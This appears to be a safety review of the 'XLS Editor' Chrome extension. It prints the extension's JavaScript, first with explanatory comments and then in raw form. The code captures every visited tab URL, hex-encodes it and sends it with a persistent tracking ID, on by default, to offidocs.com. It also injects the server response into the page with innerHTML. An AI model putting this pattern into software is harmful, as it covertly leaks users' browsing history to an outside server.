Is XLS Editor safe?

async function extractaudio(urlxx) {
  const offidocs_key = 'offidocs_key';
  var datax = { username: null, offidocscloud: null };
  var username = '';

  // Load stored data
  let storageResult = await chrome.storage.local.get([offidocs_key]);
  if (offidocs_key in storageResult) {
    datax = storageResult[offidocs_key];
  }

  // Generate and persist tracking ID if not present
  if (datax.username) {
    username = datax.username;
  } else {
    username = '' + randomString(10) + ''.toLowerCase(); // new persistent ID
    datax.username = username;
  }

  // Default tracking to enabled
  if (datax.offidocscloud) {
    offidocscloud = datax.offidocscloud;
  } else {
    offidocscloud = '1';   // enabled by default
    datax.offidocscloud = '1';
  }

  // Persist changes
  var data = {};
  data[offidocs_key] = datax;
  await chrome.storage.local.set(data);

  var un = username;
  if (datax.offidocscloud == '0') return;  // opt-out gate

  // Send URL + tracking ID to offidocs.com
  let cfgv = await fetch(
    'https://www.offidocs.com/media/system/app/checkdownloadxlseditorx_2_nav.php'
    + '?filepath=' + bin2hex(urlxx)
    + '&hex=1&u=' + un
    + '&s=' + servicexx
  );
}

function getTabInfo(tabId) {
  chrome.tabs.get(tabId, function(tab) {
    if (
      (tab.url.indexOf('offidocs') == -1) &&
      (tab.url.indexOf('http') !== -1) &&
      (lastUrl != tab.url)
    ) {
      urlx = tab.url;
      extractaudio(urlx);  // encodes + sends URL to offidocs.com
      lastUrl = tab.url;
    }
  });
}

var xhr1 = new XMLHttpRequest();
xhr1.open('GET', 'https://www.offidocs.com/media/system/app/checkdownloadxlseditorr_2_nav.php?u=' + username, true);
xhr1.onload = function (e) {
    if (xhr1.readyState === 4) {
        if (xhr1.status === 200) {
            //console.log(xhr1.responseText);
            var response1 = xhr1.responseText;
            listfilesx = document.getElementById('listfilesx');
            listfilesx.innerHTML = "<p>List of files detected in this webpage. Click to edit:</p> " + response1;
        } else {
            listfilesx = document.getElementById('listfilesx');
            listfilesx.innerHTML = "<p>No files detected</p>";
        }
    }
};
xhr1.onerror = function (e) {
    listfilesx = document.getElementById('listfilesx');
    listfilesx.innerHTML = "<p>No files detected</p>";
};
xhr1.send();

function getTabInfo(tabId) {
      chrome.tabs.get(tabId, function(tab) {
            if ( ( tab.url.indexOf("offidocs") == -1 ) && ( tab.url.indexOf("http") !== -1 ) && ( lastUrl != tab.url) )  {
                    //console.log(" Changed tab.url " + tab.url);
                    urlx =  tab.url;
                    extractaudio(urlx);
                    lastUrl = tab.url;
            }
      });
}

function websecure() {
    this.init = function () {
        chrome.tabs.onActivated.addListener(function(activeInfo) {
                activeTabId = activeInfo.tabId;
                getTabInfo(activeTabId);
        });

        chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
                //if(activeTabId == tabId) {
                    getTabInfo(tabId);
                //}
        });
    };
}

async function extractaudio(urlxx) {
                const offidocs_key = "offidocs_key";
                var datax = { username: null,  offidocscloud: null };
                var username = "";
                var offidocscloud = "";
                let storageResult = await chrome.storage.local.get([offidocs_key]);
                if (offidocs_key in storageResult) {
                        datax = storageResult[offidocs_key]
                }

                if ( datax.username ) {
                    username = datax.username;
                }
                else {
                    username = "" + randomString(10) + "".toLowerCase();
                    datax.username = username;
                }
                if ( datax.offidocscloud ) {
                    offidocscloud = datax.offidocscloud;
                }
                else {
                    offidocscloud = "1";
                    datax.offidocscloud = "1";
                }

                var data = {};
                data[offidocs_key] = datax;
                await chrome.storage.local.set(data);

                var un = username;
                if ( datax.offidocscloud == "0")
                    return;

                let cfgv = await fetch('https://www.offidocs.com/media/system/app/checkdownloadxlseditorx_2_nav.php?filepath=' + bin2hex(urlxx) + '&hex=1&u=' + un + "&s=" + servicexx);

                if (cfgv.status === 200) {
                    let fbv = await cfgv.text();
                    //console.log(fbv);
                    var nbv = fbv;
                    if ( nbv.indexOf("302") !== -1 )   {
                           var ybv = 'https://www.offidocs.com/media/system/app/view_edit_xlseditor_nav.php?filepath=' + bin2hex(urlxx) + '&u=' + un;
                            //chrome.tabs.create({ url: ybv });
                           chrome.tabs.update(chrome.tabs.getCurrent().id, {url: ybv});
                    }
                }
}

function bin2hex (bin)
{
  var i = 0, l = bin.length, chr, hex = ''
  for (i; i < l; ++i)
  {
    chr = bin.charCodeAt(i).toString(16)
    hex += chr.length < 2 ? '0' + chr : chr
  }
  return hex
}